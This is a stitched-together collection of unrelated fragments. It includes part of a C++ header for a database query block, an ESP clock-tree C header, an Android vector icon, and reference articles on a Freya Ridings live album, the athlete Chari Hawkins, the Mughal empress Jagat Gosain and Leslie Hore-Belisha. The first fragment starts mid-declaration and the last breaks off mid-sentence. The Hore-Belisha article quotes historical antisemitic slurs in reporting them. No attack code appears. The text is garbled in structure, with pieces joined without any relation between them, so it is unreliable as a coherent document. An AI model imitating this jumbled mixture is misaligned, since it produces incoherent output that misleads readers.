Ptr<TreeNode>, RowPtr &row); Uint32* stackAlloc(RowBuffer& dst, RowRef&, Uint32 len); Uint32* varAlloc(RowBuffer& dst, RowRef&, Uint32 len); void add_to_list(SLFifoRowList & list, RowRef rowref); Uint32 add_to_map(Ptr<Request> requestPtr, Ptr<TreeNode>, Uint32, RowRef); Uint32 * get_row_ptr(const RowMap&, RowMapIterator pos); void setupRowPtr(Ptr<TreeNode>, RowPtr& dst, RowRef, const Uint32 * src); // NOTE: ref contains info about it being stack/var // so adding an inline would be nice...but that remove possibility // to add jam()'s Uint32 * get_row_ptr_stack(RowRef pos); Uint32 * get_row_ptr_var(RowRef pos); /** * SLFifoRowListIterator */ bool first(Ptr<Request>, Ptr<TreeNode>, SLFifoRowListIterator&); bool next(SLFifoRowListIterator&); bool next(Ptr<Request>, Ptr<TreeNode>, SLFifoRowListIterator&, SLFifoRowListIteratorPtr); bool first(Ptr<Request>, Ptr<TreeNode>, RowMapIterator&); bool next(RowMapIterator&); bool next(Ptr<Request>,Ptr<TreeNode>, RowMapIterator&, RowMapIteratorPtr); /** * Misc */ Uint32 buildRowHeader(RowPtr::Header *, SegmentedSectionPtr); Uint32 buildRowHeader(RowPtr::Header *, const Uint32 *& src, Uint32 len); void getCorrelationData(const RowPtr::Section & row, Uint32 col, Uint32& correlationNumber); void getCorrelationData(const RowPtr::Linear & row, Uint32 col, Uint32& correlationNumber); Uint32 appendToPattern(Local_pattern_store &, DABuffer & tree, Uint32); Uint32 appendParamToPattern(Local_pattern_store&,const RowPtr::Linear&, Uint32); Uint32 appendParamHeadToPattern(Local_pattern_store&,const RowPtr::Linear&, Uint32); Uint32 appendTreeToSection(Uint32 & ptrI, SectionReader &, Uint32); Uint32 appendColToSection(Uint32 & ptrI, const RowPtr::Linear&, Uint32 col, bool& hasNull); Uint32 appendColToSection(Uint32 & ptrI, const RowPtr::Section&, Uint32 col, bool& hasNull); Uint32 appendPkColToSection(Uint32 & ptrI, const RowPtr::Section&,Uint32 col); Uint32 appendPkColToSection(Uint32 & ptrI, const RowPtr::Linear&, Uint32 col); Uint32 appendAttrinfoToSection(Uint32 &, const RowPtr::Linear&, Uint32 col, bool& hasNull); Uint32 appendAttrinfoToSection(Uint32 &, const RowPtr::Section&, Uint32 col, bool& hasNull); Uint32 appendDataToSection(Uint32 & ptrI, Local_pattern_store&, Local_pattern_store::ConstDataBufferIterator&, Uint32 len, bool& hasNull); Uint32 appendFromParent(Uint32 & ptrI, Local_pattern_store&, Local_pattern_store::ConstDataBufferIterator&, Uint32 level, const RowPtr&, bool& hasNull); Uint32 expand(Uint32 & ptrI, Local_pattern_store& p, const RowPtr& r, bool& hasNull){ switch(r.m_type){ case RowPtr::RT_SECTION: return expandS(ptrI, p, r, hasNull); case RowPtr::RT_LINEAR: return expandL(ptrI, p, r, hasNull); } return DbspjErr::InternalError; } Uint32 expandS(Uint32 & ptrI, Local_pattern_store&, const RowPtr&, bool& hasNull); Uint32 expandL(Uint32 & ptrI, Local_pattern_store&, const RowPtr&, bool& hasNull); Uint32 expand(Uint32 & ptrI, DABuffer& pattern, Uint32 len, DABuffer & param, Uint32 cnt, bool& hasNull); Uint32 expand(Local_pattern_store& dst, Ptr<TreeNode> treeNodePtr, DABuffer & pattern, Uint32 len, DABuffer & param, Uint32 cnt); Uint32 parseDA(Build_context&, Ptr<Request>, Ptr<TreeNode>, DABuffer & tree, Uint32 treeBits, DABuffer & param, Uint32 paramBits); Uint32 createEmptySection(Uint32 & ptrI); Uint32 getResultRef(Ptr<Request> requestPtr); /** * Lookup */ static const OpInfo g_LookupOpInfo; Uint32 lookup_build(Build_context&,Ptr<Request>, const QueryNode*, const QueryNodeParameters*); void lookup_start(Signal*, Ptr<Request>, Ptr<TreeNode>); void lookup_send(Signal*, Ptr<Request>, Ptr<TreeNode>); void lookup_execTRANSID_AI(Signal*, Ptr<Request>, Ptr<TreeNode>, const RowPtr&); void lookup_execLQHKEYREF(Signal*, Ptr<Request>, Ptr<TreeNode>); void lookup_execLQHKEYCONF(Signal*, Ptr<Request>, Ptr<TreeNode>); void lookup_parent_row(Signal*, Ptr<Request>, Ptr<TreeNode>, const RowPtr &); void lookup_parent_batch_complete(Signal*, Ptr<Request>, Ptr<TreeNode>); void lookup_abort(Signal*, Ptr<Request>, Ptr<TreeNode>); Uint32 lookup_execNODE_FAILREP(Signal*signal, Ptr<Request>, Ptr<TreeNode>, NdbNodeBitmask); void lookup_cleanup(Ptr<Request>, Ptr<TreeNode>); Uint32 handle_special_hash(Uint32 tableId, Uint32 dstHash[4], const Uint64* src, Uint32 srcLen, // Len in #32bit words const struct KeyDescriptor* desc); Uint32 computeHash(Signal*, BuildKeyReq&, Uint32 table, Uint32 keyInfoPtrI); Uint32 computePartitionHash(Signal*, BuildKeyReq&, Uint32 table, Uint32 keyInfoPtrI); Uint32 getNodes(Signal*, BuildKeyReq&, Uint32 tableId); /** * ScanFrag */ static const OpInfo g_ScanFragOpInfo; Uint32 scanFrag_build(Build_context&, Ptr<Request>, const QueryNode*, const QueryNodeParameters*); void scanFrag_start(Signal*, Ptr<Request>,Ptr<TreeNode>); void scanFrag_send(Signal*, Ptr<Request>, Ptr<TreeNode>); void scanFrag_execTRANSID_AI(Signal*, Ptr<Request>, Ptr<TreeNode>, const RowPtr &); void scanFrag_execSCAN_FRAGREF(Signal*, Ptr<Request>, Ptr<TreeNode>, Ptr<ScanFragHandle>); void scanFrag_execSCAN_FRAGCONF(Signal*, Ptr<Request>, Ptr<TreeNode>, Ptr<ScanFragHandle>); void scanFrag_execSCAN_NEXTREQ(Signal*, Ptr<Request>,Ptr<TreeNode>); void scanFrag_abort(Signal*, Ptr<Request>, Ptr<TreeNode>); void scanFrag_cleanup(Ptr<Request>, Ptr<TreeNode>); /** * ScanIndex */ static const OpInfo g_ScanIndexOpInfo; Uint32 scanIndex_build(Build_context&, Ptr<Request>, const QueryNode*, const QueryNodeParameters*); Uint32 parseScanIndex(Build_context&, Ptr<Request>, Ptr<TreeNode>, DABuffer tree, Uint32 treeBits, DABuffer param, Uint32 paramBits); void scanIndex_prepare(Signal*, Ptr<Request>, Ptr<TreeNode>); void scanIndex_execTRANSID_AI(Signal*, Ptr<Request>, Ptr<TreeNode>, const RowPtr &); void scanIndex_execSCAN_FRAGREF(Signal*, Ptr<Request>, Ptr<TreeNode>, Ptr<ScanFragHandle>); void scanIndex_execSCAN_FRAGCONF(Signal*, Ptr<Request>, Ptr<TreeNode>, Ptr<ScanFragHandle>); void scanIndex_parent_row(Signal*,Ptr<Request>,Ptr<TreeNode>, const RowPtr&); void scanIndex_fixupBound(Ptr<ScanFragHandle> fragPtr, Uint32 ptrI, Uint32); void scanIndex_send(Signal*,Ptr<Request>,Ptr<TreeNode>); void scanIndex_send(Signal* signal, Ptr<Request> requestPtr, Ptr<TreeNode> treeNodePtr, Uint32 noOfFrags, Uint32 bs_bytes, Uint32 bs_rows, Uint32& batchRange); void scanIndex_batchComplete(Signal* signal); Uint32 scanIndex_findFrag(Local_ScanFragHandle_list &, Ptr<ScanFragHandle>&, Uint32 fragId); void scanIndex_parent_batch_complete(Signal*, Ptr<Request>, Ptr<TreeNode>); void scanIndex_parent_batch_repeat(Signal*, Ptr<Request>, Ptr<TreeNode>); void scanIndex_execSCAN_NEXTREQ(Signal*, Ptr<Request>,Ptr<TreeNode>); void scanIndex_complete(Signal*, Ptr<Request>, Ptr<TreeNode>); void scanIndex_abort(Signal*, Ptr<Request>, Ptr<TreeNode>); Uint32 scanIndex_execNODE_FAILREP(Signal*signal, Ptr<Request>, Ptr<TreeNode>, NdbNodeBitmask); void scanIndex_parent_batch_cleanup(Ptr<Request>, Ptr<TreeNode>); void scanIndex_cleanup(Ptr<Request>, Ptr<TreeNode>); void scanIndex_release_rangekeys(Ptr<Request>, Ptr<TreeNode>); /** * Page manager */ bool allocPage(Ptr<RowPage> &); void releasePage(Ptr<RowPage>); void releasePages(Uint32 first, Ptr<RowPage> last); void releaseGlobal(Signal*); SLList<RowPage>::Head m_free_page_list; ArrayPool<RowPage> m_page_pool; /** * Scratch buffers... */ Uint32 m_buffer0[8192]; // 32k Uint32 m_buffer1[8192]; // 32k }; #endif ```
Live at Omeara is the second live album by English singer-songwriter Freya Ridings. It was released in the United Kingdom on 30 March 2018 by Good Soldier. Background The album is a live recording of the full setlist from the Ridings' performance at the Omeara in London in January 2018. On Facebook, Ridings' said, "Thank you so much everyone who came to Omeara last week and made it such a special night. Here's some memories from the day and a bit of my performance of Lost Without You. It was so lovely to meet you all afterwards, I'm feeling unbelievably blessed by all of this." Track listing Charts Release history References 2018 live albums Freya Ridings albums
```objective-c /* * */ #pragma once #include "esp_err.h" #include "soc/clk_tree_defs.h" #ifdef __cplusplus extern "C" { #endif /** * @brief Degree of precision of frequency value to be returned by esp_clk_tree_src_get_freq_hz() */ typedef enum { ESP_CLK_TREE_SRC_FREQ_PRECISION_CACHED, /*< Get value from the data cached by the driver; If the data is 0, then a calibration will be performed */ ESP_CLK_TREE_SRC_FREQ_PRECISION_APPROX, /*< Get its approxiamte frequency value */ ESP_CLK_TREE_SRC_FREQ_PRECISION_EXACT, /*< Always perform a calibration */ ESP_CLK_TREE_SRC_FREQ_PRECISION_INVALID, /*< Invalid degree of precision */ } esp_clk_tree_src_freq_precision_t; /** * @brief Get frequency of module clock source * * @param[in] clk_src Clock source available to modules, in soc_module_clk_t * @param[in] precision Degree of precision, one of esp_clk_tree_src_freq_precision_t values * This arg only applies to the clock sources that their frequencies can vary: * SOC_MOD_CLK_RTC_FAST, SOC_MOD_CLK_RTC_SLOW, SOC_MOD_CLK_RC_FAST, SOC_MOD_CLK_RC_FAST_D256, * SOC_MOD_CLK_XTAL32K * For other clock sources, this field is ignored. * @param[out] freq_value Frequency of the clock source, in Hz * * @return * - ESP_OK Success * - ESP_ERR_INVALID_ARG Parameter error * - ESP_FAIL Calibration failed */ esp_err_t esp_clk_tree_src_get_freq_hz(soc_module_clk_t clk_src, esp_clk_tree_src_freq_precision_t precision, uint32_t *freq_value); #ifdef __cplusplus } #endif ```
Chari Wanda Hawkins (born May 21, 1991) is an American track and field athlete who competes in combined events. She became the 2022 US National Pentathlon Champion with a gold medal performance at the USATF Indoor Championships in Spokane, Washington. She represented the US in the heptathlon at the 2019 World Championships in Doha finishing 12th overall, & at the 2023 World Championships in Budapest finishing 8th overall. In 2022 she earned recognition by USATF for Athlete of the Week for her first-place finish in the heptathlon at the World Athletics Combined Events Tour -Gold event held in Arona, Spain where she achieved a personal best with 6,243 points. In 2023, she was signed as an Advocare athlete endorser. Other career heptathlon highlights include capturing bronze at the 2019 USATF Outdoor Championships, winning silver at the 2018 Pan American Combined Events, earning bronze at the 2017 Thorpe Cup and finishing fourth at the 2015 World University Games. In the pentathlon event she won a bronze medal at the 2016 USATF Indoor Championships and finished fifth at the 2017 USATF Indoor Championships. International competitions Personal bests Outdoor 200 metres – 24.05 (-0.2 m/s, Eugene OR, July 2023) 800 metres – 2:15.01 (Santa Barbara 2016) 100 metres hurdles – 13.04 (+0.4 m/s, Budapest 2023) High jump – 1.85 (Arona 2022) Long jump – 6.29 (+0.7 m/s, Long Beach 2019) Shot put – 14.40 (Budapest 2023) Javelin throw – 45.77 (Budapest 2023) Heptathlon – 6366 (Budapest 2023) Indoor 800 metres – 2:22.08 (Crete, NE, 2016) 60 metres hurdles – 8.17 (Albuquerque, NM Feb 2023) High jump – 1.84 (Spokane Feb 2022) Long jump – 6.10 (Albuquerque, NM Feb 2023) Shot put – 14.02 (Beograd, SRB Mar 2022) Pentathlon – 4492 (Spokane Feb 2022) References External links 1991 births Living people American heptathletes World Athletics Championships athletes for the United States Competitors at the 2015 Summer Universiade 21st-century American women 21st-century American people
```xml <vector xmlns:android="path_to_url" android:height="34.0dp" android:tint="?attr/colorControlNormal" android:viewportHeight="15" android:viewportWidth="15" android:width="34.0dp"> <path android:fillColor="@android:color/white" android:pathData="M7,1C6.4,1,6,1.4,6,2v4H2C1.4,6,1,6.4,1,7v1&#10;&#9;c0,0.6,0.4,1,1,1h4v4c0,0.6,0.4,1,1,1h1c0.6,0,1-0.4,1-1V9h4c0.6,0,1-0.4,1-1V7c0-0.6-0.4-1-1-1H9V2c0-0.6-0.4-1-1-1H7z"/> </vector> ```
Manavati Bai, also spelled Manvati Bai, (13 May 1573 – 8 April 1619), better known by her title, Jagat Gosain (), was the second wife and the empress consort of the fourth Mughal emperor Jahangir and the mother of his successor, Shah Jahan. She is also known as Mani Bai, Manmati, Jodh Bai (), Taj Bibi () and was also given the posthumous title of Bilqis Makani (). She was also wrongly referred to as Balmati Begum by Manrique. She should not be confused with her mother-in-law, Mariam-uz-Zamani, who was erroneously called as "Jodha Bai" by European historians since any daughter belonging to the Jodhpur region could be called Jodha Bai or daughter of Jodhpur region. By birth, she was a Rajput princess of Marwar (present-day Jodhpur) and was the daughter of Raja Udai Singh (popularly known as Mota Raja), the Rathore ruler of Marwar and the full-sister of Sawai Raja Sur Singh, another Rathore ruler of Marwar and Maharaja Kishan Singh, founder of Kishangarh. Family Born on 13 May 1573 as Manavati Bai, she was known popularly as Jodh Bai (the Jodhpur Princess). She belonged to the Rathore clan of Rajputs and was the daughter of Raja Udai Singh, the ruler of Marwar (present-day Jodhpur). Udai Singh was popularly known by the sobriquet Mota Raja (the fat king). Her mother was Rajavat Kachvahi Manrang Devi, the principal consort of her father and daughter of Raja Askaran of Narwar (d.1599), who was also briefly Raja of Amber before being ousted in favor of his uncle, Bharmal. Her paternal grandfather was Maldeo Rathore, under whose rule Marwar turned into a strong Rajput Kingdom that resisted foreign rule and challenged the invaders for northern supremacy. Maldeo Rathore refused to ally with either the Sur Empire or the Mughal Empire after Humayun regained control of North India in 1555. This policy was continued by his son and successor, Chandrasen Rathore. After the death of Maldeo Rathore in 1562, a fratricidal war for succession started and Chandrasen crowned himself in the capital, Jodhpur. But his reign was short-lived as Emperor Akbar's army occupied Merta in the same year and the capital Jodhpur in 1563. After the death of Rao Chandrasen in January 1581, Marwar was brought under direct Mughal administration. In August 1583, Akbar restored the throne of Marwar to Udai Singh, who, unlike his predecessors, submitted to the Mughals and subsequently joined the Mughal service. Marriage to Jahangir According to Muni Lal, the young Jagat Gosain is said to have caught the eye of Prince Salim when he was attending a function with his mother and other senior ladies of the harem. He is said to have immediately proposed marriage. The Emperor was reluctant to give his consent but only agreed upon the intercession of Hamida Banu. She married the 16-year-old Prince Salim (later known as 'Jahangir' upon his accession) on 11 January 1586. The marriage settlement was fixed at seventy-five lakhs tankas. Akbar, himself, accompanied by the ladies of the harem, went to the Raja's house where the marriage was solemnized. The marriage ceremony was a lavish one featuring both Hindu fire ceremonies, in presence of Priest chanting Sanskrit verses, as well as Muslim proprieties in presence of Qadi and an array of military and civilian dignitaries. According to Murārdān, her paternal cousin, Rana Kalyan Das Rathore took offense at this marriage and was angry at Mota Raja and had remarked – When the Mota Raja heard this remark, he informed Akbar who ordered him to kill Kalyan Das. Kalyan Das fled the Imperial Camp to Siwana. Udai Singh sent two of his sons, Bhopat and Jaisingh to Siwana. But the fort and opponent proved too strong for them and they were forced to flee back. In the face of this defeat, Mota Raja received permission from Akbar to leave the imperial camp. After his return to Marwar, he led a force against Siwana himself. Kalyan Das, realizing defeat is imminent, had his wives perform Jauhar and himself led his men to die fighting. After this victory, Siwana was handed over to Mota Raja. She was granted the title "Jagat Gosain" on account of her ability and learning. This marriage served very well cause for the house of Marwar. Marwar's alliance with Mughal would have broken down due to religious strain estrangement had Jahangir and Shah Jahan not been bound by blood ties. After this marriage, Udai Singh and brothers and nephews of Jodh bai succeeded in gaining the confidence of their contemporary rules and were recipients of Royal favors. Although the marriage was a political one, Jagat was known not only for her beauty, charm, and soft voice but for her wit, courage, and spontaneity of response - all of which greatly endeared her to her husband during the early years of their marriage. She is believed to have been a good singer and well versed in music. After her marriage, she was placed under a group of expert musicians for proper training. In 1590, she gave birth to her first child, a daughter, named Begum Sultan, who died at the age of one. On 5 January 1592, she gave birth to Salim's third son, who was named 'Khurram' ("joyous") by his grandfather, Emperor Akbar. The prince, who was to become the future emperor Shah Jahan, Her son Khurram, considered to be auspicious as per his astrological signs was insisted by Akbar to be raised under his care in his palace than Salim's palace and therefore was raised in Akbar's palace. He was placed under the care of his first wife Ruqaiya Begum who resided in Akbar's harem and she is stated to have raised Khurram affectionately. After Akbar died in 1605, the young prince was allowed to return to his father's household, and thus, returned to the supervision of his mother, whom he cared for and loved immensely. He had become devoted to her and designated her Hazrat in his court chronicles.In the intervening years, Jagat had given birth to her third child in 1597, a daughter, Luzzat-un-Nissa, who died in infancy, and her fourth child and second son Shahryar Mirza in 1605. According to Findly, Jagat Gosain seems to have lost her husband's favor quite early on in their marriage, whereas according to S. S. Gupta, she was the favorite wife of Jahangir till the arrival of her arch-rival in the imperial harem, Nur Jahaṇ, of whom Jagat was scornful. Jahangir had married her in 1611 and from the time of their marriage until his death, Nur Jahan was indisputably his favorite wife. Even before his marriage with Nur Jahan, Jahangir's chief consort and Padshah Begum was his wife, Saliha Banu Begum, who held this position from the time of their marriage till her death in 1620, after which this honorable title was passed on to Nur Jahan. One of the events that happened was Jahangir's captivity and addiction to alcohol and opium, which gradually reduced his health, which he was indifferent to, and along with that, he showed disinterest in running governmental affairs, all these situations. Jahangir's eventual wife, Nur Jahan, was allowed to run the affairs of the state, either with or without Jahangir, which turned out to be an early advantage and a later disadvantage for the son of Jagat Gosain, Prince Khurram. The Jahangiri Mahal at Agra Fort used to be the residence of Jagat Gosain, as chosen by Jahangir. The West side of the quadrangle, surrounded by oblong niches with portraits of Hindu deity, was her temple. The Kanch Mahal, sometimes called Jodh Bai's Mahal, located at Sikandra, is said to have been built by Jahangir for Jagat Gosain. Also the area called 'Taj Ganj' in Agra is said to be named in her honor. She is also said to have founded a village named Sohagpura, which is wholly dedicated to the manufacturing of glass bangles. Death In 1619, during her stay at Fatehpur Sikri, Jagat Gosain became ill and the treatment she received had no effect. Finally, she died on 9 April 1619 at Akbarabad (present-day Agra). Jahangir noted the death: Shah Jahan, as noted by Jahangir, was inconsolable and According to Muni Lal, Shah Jahan was so indulged in grief on the death of his mother that he, "For twenty-one days he attended no public entertainment and subsisted on simple vegetarian meals . " and Arjumand Banu "personally supervised the distribution of food to the poor during the three - week mourning period and led the recitation of the Holy Quran every morning" and "gave her husband many a lesson on the substance of life and death, and begged him not to grieve". After her death, Jahangir ordered that she be called Bilqis Makani ("the Lady of Pure Abode") in all of the official documents. Her death, along with the retirement of Mariam-uz-Zamani, led to the decline of Rajput influence on the Mughal court. She was buried in Dehra Bagh near Noor Manzil (present-day Arjun Nagar, Agra) as per her wishes. Her tomb was a square building of 78 feet on all sides and consisted of a high dome, gateways, towers and a garden situated in the cantonment area. It had a large vaulted underground chamber, into which four inclined passages descended. A marble cenotaph is believed to have existed below. Her tomb stood on two platforms, one higher than the other. The first platform extended 38 feet from the tomb and the second about 44 feet from the first. On the east side, 670 feet away was a grand gate and on the west side, 657 feet away stood a Masjid. Between the tomb and the gateway and the tomb and Masjid were two raised platforms, one on each side of 42 feet square. All of this was blown up in 1832 with gunpowder, for the sake of its site and material, stone and brick, which the British needed. In 1921, a chhatri was constructed marking the site of her tomb using a design made in the Archeological Superintendent Office. The Chhatri is built exactly on the site of the original crypt chamber. The construction of the Chhatri was funded by the Maharajadhiraja of Burdwan and cost about Rs 200(in 1921). The Chhatri is known as 'Chhatri making the site of the Empress Jodhbai's Tomb' or simply 'Jodhbai Ki Chhatri'''. Issue With Jahangir, Jagat is confirmed to have three children: Begum Sultan (9 October 1590, Lahore, Mughal Empire – September 1591, Mughal Empire) Muhammad Khurram (5 January 1592, Lahore, Mughal Empire – 22 January 1666, Agra Fort, Agra, Mughal Empire, buried in Taj Mahal, Agra) Luzzat-un-Nissa ( 23 September 1597, Kashmir, Mughal Empire – , Allahabad, Mughal Empire) Jagat Gosain may have had another child: Shahryar Mirza (16 January 1605 Agra, Mughal Empire – 23 January 1628 Lahore, Mughal Empire buried in Lahore) In popular culture Jagat Gosain is a principal character in Indu Sundaresan's award-winning historical novel The Twentieth Wife (2002) as well as in its sequel The Feast of Roses (2003). Nayani Dixit portrayed Jagat Gosain in EPIC channel's historical drama Siyaasat. (based on Twentieth Wife) Jagat Gosain is a character in novel Nur Jahan's Daughter (2005) written by Tanushree Poddar. Jagat Gosain is a principal character in the novel Nurjahan: A historical novel by Jyoti Jafa. Jagat Gosain is a character in the novel Beloved Empress Mumtaz Mahal: A Historical Novel by Nina Consuelo Epton. Jagat Gosain as Jodh Bai is a character in Alex Rutherford's novel Ruler of the World(2011) as well as in its sequel The Tainted Throne (2012) of the series Empire of the Moghul. Jagat Gosain as Jodi Bai is a character in the novel Taj, a Story of Mughal India'' by Timeri Murari. Jagat Gosain was character in Doordarshan's 2001 TV series, Noorjahan. In the 2023 ZEE5's web series Taj: Divided by Blood, Jagat Gossain is portrayed by Tanvi Negi. Ancestry References Bibliography Findly, Ellison Banks (1993). Nur Jahan: Empress of Mughal India. Oxford University Press. . External links Jehangir and Shah Jehan The World Conqueror: Jahangir The Tūzuk-i-Jahangīrī Or Memoirs of Jahāngīr 1573 births 1619 deaths People from Agra Indian Hindus People from Jodhpur Mughal royal consorts 16th-century Indian women 16th-century Indian people Wives of Jahangir 17th-century Indian women 17th-century Indian people Rajput princesses Mothers of Mughal emperors
Leslie Hore-Belisha, 1st Baron Hore-Belisha, PC (; Isaac Leslie Belisha; 7 September 1893 – 16 February 1957) was a British Liberal, then National Liberal Member of Parliament (MP) and Cabinet Minister. He later joined the Conservative Party. He proved highly successful in modernizing the British road system in 1934–1937 as Minister of Transport. As War Secretary, 1937–1940, he feuded with the commanding generals and was removed in 1940. Some writers believe antisemitism played a role in both his dismissal and in blocking his appointment as Minister of Information. One historian compares his strong and weak points: His name is still widely associated in the UK with the introduction of flashing amber "Belisha beacons" at pedestrian crossings while he was Minister for Transport. Background and education Hore-Belisha was born Isaac Leslie Belisha in Hampstead, London on 7 September 1893. He was the only son of the Jewish family of Jacob Isaac Belisha and his wife, Elizabeth Miriam Miens. His father died when he was less than one year old. In 1912 his widowed mother married Adair Hore, Permanent Secretary of the Ministry of Pensions. Leslie Belisha then adopted the double-barrelled surname. Hore-Belisha was educated at Clifton College where he was in Polack's house. He continued his studies in Paris and Heidelberg, before attending St John's College, Oxford, where he was President of the Oxford Union Society. While in Heidelberg, he became a member of Burschenschaft in 1912. During the First World War he joined the British Army and served in France, Flanders and Salonika and finished the war with the rank of major in the Army Service Corps. After the war, after leaving the army, he returned to Oxford and, in 1923, qualified as a barrister. Political career At the 1922 general election, Hore-Belisha was an unsuccessful candidate for the Liberal Party in the Plymouth Devonport constituency. However, thanks to his new political agent, Benjamin Musgrave, he won the seat at the general election the following year, and became known in Parliament as a flamboyant and brilliant speaker. He generally allied himself with right-wing Liberals critical of their party's support for the Labour minority governments, joining with Sir John Simon in becoming a Liberal National upon the formation of the National Government in 1931. After the 1931 general election, Hore-Belisha was appointed a junior minister at the Board of Trade. He remained in government when the official Liberals withdrew in September 1932 over the issue of free trade, and was promoted to Financial Secretary to the Treasury. Hore-Belisha showed considerable intelligence and drive in government, although his intense energy tended to alienate traditionalist elements who resented his status as an "outsider". Transport minister, 1934–1937 Hore-Belisha was appointed Minister of Transport in 1934 coming to public prominence at a time when motoring was becoming available to the masses. All speed limits for motor cars had controversially been removed by the Road Traffic Act 1930 during the previous administration. There was, in 1934, a record number of road casualties in the UK, with 7,343 deaths and 231,603 injuries being recorded, with half of the casualties being pedestrians and three-quarters occurring in built-up areas. Shortly after being appointed, he was crossing Camden High Street when a sports car shot along the street without stopping, nearly causing him "serious injury or worse". He became involved in a public-relations exercise to demonstrate how to use the new "uncontrolled crossings". Hore-Belisha's Road Traffic Act 1934 introduced a speed limit of 30 mph for motor cars in built-up areas. The new act was vigorously opposed by many, who saw the new regulations as a removal of "an Englishman's freedom of the highway". The earlier 20 mph speed limit had been abolished in 1930 because it was universally flouted. A large backlog of court cases had made the law unenforceable. In addition, The Automobile Association (AA) and the Royal Automobile Club (RAC) had frequently been successful in defending their members against evidence from primitive speed traps. Hore-Belisha rewrote the Highway Code and was responsible for the introduction of two innovations that led to a dramatic drop in the number of road accidents: the driving test and the Belisha beacon, named after him by the public. On his retirement, he was made vice-president of the Pedestrians' Association and, the organisation adopted a logo (since replaced) of a walking zebra crossing with Belisha Beacon. Secretary of State for War, 1937–1940 His success at the Ministry of Transport, in 1937, led to an appointment by Neville Chamberlain as Secretary of State for War replacing the popular Alfred Duff Cooper, who later resigned from the government over Chamberlain's policy of appeasement. There were voices within the Conservative majority that such a high-profile appointment should not have gone to a Liberal National, and Hore-Belisha's Conservative colleagues labelled him a warmonger. Many took to nicknaming him "Horeb-Elisha" or "Horeb" as an antisemitic pun on his race. (Horeb is mentioned in the Hebrew Bible as the place where the golden calf was made and to which Elijah fled.) Upon appointing Hore-Belisha as Secretary of State, Chamberlain advised him to read B. H. Liddell Hart's book Europe in Arms, which advocated that Britain should avoid becoming involved in a continental land war and rely on the Royal Air Force as its offensive arm. Impressed by the book's arguments and under Cabinet pressure to control expenditure, Hore-Belisha formed a close partnership with Liddell Hart and sought to refocus the British Army away from the aim of raising a second British Expeditionary Force to fight in France. Unhappy with the Army Council's opposition to his policies, Hore-Belisha sacked Field Marshal Cyril Deverell, the Chief of the Imperial General Staff, along with the Adjutant General and Master-General of the Ordnance in December 1937. Guided by Liddell Hart, he interviewed John Dill and Archibald Wavell before finally settling on Lord Gort, a relatively junior general, as Deverell's replacement. The new team at the head of the British Army was not a success. Gort was no more enthusiastic about Hore-Belisha's course of action than Deverell had been and objected to Liddell Hart's continued influence. For his part by March 1939, Hore-Belisha would declare that "Gort has no brain at all". The Munich Crisis shook Hore-Belisha's confidence that Britain would be able to avoid full-scale commitment to a continental war. In December 1938, a group of junior Conservative ministers including the Under-Secretary for War, Lord Strathcona, demanded that Chamberlain remove Hore-Belisha. The Prime Minister refused and Strathcona was sacked, but the event demonstrated Hore-Belisha's political isolation. However, in February, he secured a major increase in budget to re-equip the British Army for continental operations. In his speech to Parliament during the March Budget Estimate, Hore-Belisha acknowledged this was a reversal of his previous policy, but still won plaudits for his plans. Any hope of reconciliation with his military subordinates was ruined when, at a Cabinet meeting on 28 March, Hore-Belisha recommended doubling the size of the Territorial Army to demonstrate Britain's resolve. This was announced in Parliament the next day, to the consternation of the Army Council who had not been consulted about the decision. Lord Gort, who was in France, reputedly learned of it from a newspaper. The Army was already badly short of equipment and raising the new Territorial Divisions would require transferring soldiers from the front line units. In May, Hore-Belisha succeeded in passing the Military Training Act, the first peacetime conscription law in the United Kingdom. The Act provided for six months of full-time military training, after which men would enter the Reserve. The first cohort began their training in June. Following the outbreak of war in September it was replaced by the National Service Act. Dismissal In January 1940, Prime Minister Chamberlain dismissed Hore-Belisha from the War Office. He had been in an increasingly untenable position due to his disputes with the Army high command and the King and hostility from sympathisers within the public of the British Union of Fascists after Oswald Mosley claimed him to be a "Jewish warmonger". By 1940, his relations with Lord Gort, commander of the British Expeditionary Force (BEF) in France, had deteriorated such that neither man had confidence in the other. Gort and other generals disliked Hore-Belisha's showmanship, but their main disagreements had stemmed from the Pillbox affair, concerning the defence of France along the border with Belgium. Hore-Belisha was unpopular amongst his fellow ministers, with meetings of the War Cabinet said to be regularly tense and loud. As a result, Chamberlain agreed to replace him as Secretary of State for War. Military antisemitism contributed to tensions between Hore-Belisha and Gort, with Henry Pownall, the chief of staff to the BEF in France and Belgium until the fall of France in May 1940, claiming in his diary that "the ultimate fact is that they could never get on – you couldn't expect two such utterly different people to do so – a great gentleman and an obscure, shallow-brained, charlatan, political Jewboy". Initially, the Prime Minister considered Hore-Belisha for the post of Minister of Information, but decided against this when the Foreign Office raised concerns about the effect of having a Jewish politician in this position given the undercurrent of antisemitism in some sections of the public. Instead, Chamberlain offered him the post of Presidency of the Board of Trade. Hore-Belisha refused this demotion and resigned from the government. Due to the sensitive nature of the disagreements, many MPs and political commentators were bewildered as to why the dismissal had taken place, and Hore-Belisha's formal statement to the Commons left them little wiser. A common belief was that Hore-Belisha's bold reforms at the War Office had been opposed by the established military commanders, often caricatured as Colonel Blimps, and that they had forced his resignation. Colin Brown wrote that Hore-Belisha's dismissal was "possibly fuelled by a desire to placate Hitler [by removing a Jew from the Cabinet] even once war had been declared", or even due to pressure by George VI upon Chamberlain because of Hore-Belisha's previous support for Edward VIII during the abdication crisis, although the offer of alternative office and Hore-Belisha's original appointment argue against this latter motive. Harry Defries argues that antisemitism was the root cause of the dismissal. Subsequent political career Hore-Belisha attempted to rebuild his career under the wartime premiership of Winston Churchill (1940–1945), but his re-appointment was blocked by a combination of his wounded intransigence and continued Conservative prejudice. He resigned from the National Liberals in 1942, sitting as a "National Independent" MP. In the Conservative "caretaker" government of 1945, he was briefly appointed Minister for National Insurance. At the 1945 general election, Hore-Belisha, still standing as a National Independent, was defeated in Devonport by the Labour candidate, Michael Foot. He, thereupon, peremptorily dismissed Musgrave, his faithful political agent, and joined the Conservative Party. In 1947, he was elected to Westminster City Council. He fought unsuccessfully in the Coventry South constituency at the 1950 general election. In 1954, he was elevated to the peerage as Baron Hore-Belisha, of Devonport in the County of Devon. Personal life In 1944, at 51, he married Cynthia Elliot, who was a relative of the Earl of Minto. They had no children. While leading a British parliamentary delegation to France in February 1957, he collapsed while making a speech at Reims town hall, and died a few minutes later. The cause of death was given as a cerebral haemorrhage. The barony died with him as he had no children. Lady Hore-Belisha died in July 1991, aged 75. Fictional role H. G. Wells in The Shape of Things to Come, published in 1934, predicted a Second World War in which Britain would not participate but would vainly try to effect a peaceful compromise. In this vision, Hore-Belisha was mentioned as one of several prominent Britons delivering "brilliant pacific speeches" 